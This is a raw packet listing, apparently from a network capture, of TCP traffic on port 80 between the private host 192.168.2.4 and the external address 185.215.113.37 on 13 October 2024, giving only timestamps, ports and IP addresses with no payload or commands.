Oct 13, 2024 06:54:08.650132895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650142908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650187016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650221109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650254965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650259972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650290012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650324106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650356054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650388002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650410891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650420904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650433064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650456905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650490046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650542021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650568962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650568962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650568962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650609016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650609970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650645971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650679111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650690079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650707006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650713921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650732040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650747061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650779963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650813103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650842905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650842905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650842905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650846004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650872946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650882006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650904894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.650922060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650954008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.650988102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651000023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651000977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651011944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651021957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651040077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651062012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651094913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651128054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651151896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651151896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651151896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651160955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651192904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651196957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651216984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651231050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651243925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651266098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651299953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651334047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651351929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651351929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651408911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651420116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651426077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651456118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651487112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651520967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.651529074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651529074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651547909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.651577950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684258938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684297085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684351921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684356928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684386969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684406042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684444904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684490919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684511900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684511900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684546947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684600115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684633017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684639931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684639931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684653997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684681892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684689999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684719086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684770107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684783936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684783936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684804916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684833050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684856892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684860945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684892893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684922934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.684969902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684969902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684969902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.684974909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685028076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685060024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685091972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685123920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685173988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685206890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685240984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685276031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685307980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685312986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685313940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685340881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685374975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685406923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685436964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685436964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685436964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685436964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685439110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685461044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685467958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685501099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685503006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685534954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685554981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685554981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685566902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685605049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685622931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685622931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685637951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685673952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.685693979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685693979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.685736895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701092958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701145887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701175928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701215029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701215029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701226950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701240063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701261997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701294899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701325893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701327085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701328039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701369047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.701427937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701427937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.701427937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737441063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737476110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737528086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737561941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737591982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737595081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737628937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737663031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737720966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737756014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737756014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737768888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737806082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737838984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737870932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737901926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737903118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737903118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737922907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.737922907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737958908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.737992048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738008022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738008022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738040924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738044024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738091946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738126040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738127947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738147020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738163948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738197088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738245964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738275051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738275051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738275051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738281965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738315105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738326073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738331079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738375902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738409042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738420010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738441944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738457918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738457918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738476992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738508940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738511086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738560915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738568068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738568068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738595963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738646030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738672972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738672972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738698006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738708019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738733053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738768101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738801003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738850117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738867044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.738883018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738920927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738953114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.738985062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739017010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739048958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739073038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739082098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739115000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739147902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739180088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739181995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739181995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739182949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739204884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739212990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739244938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739278078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739310026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739341974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739373922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739397049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739397049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739398003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739423990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739425898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739459038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739480019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739495039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739527941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739561081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739594936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739594936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739594936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739594936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739630938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739648104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739648104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739665031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739698887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739756107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739756107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739756107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739758968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739793062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739818096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.739828110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739861965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739893913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739926100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739959002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.739990950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740010977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740024090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.740031004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.740173101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.772985935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773039103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773075104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773098946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773124933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773159027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773190022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773210049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773243904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773250103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773266077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773297071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773313999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773329973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773363113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773408890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773408890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773416042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773421049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773451090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773478985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773526907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773552895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773552895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773552895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773576021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773586035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773613930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773634911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773663998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773714066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773745060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773762941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773763895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.773798943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.773833036 CEST	80	49730	185.215.113.37	192.168.2.4
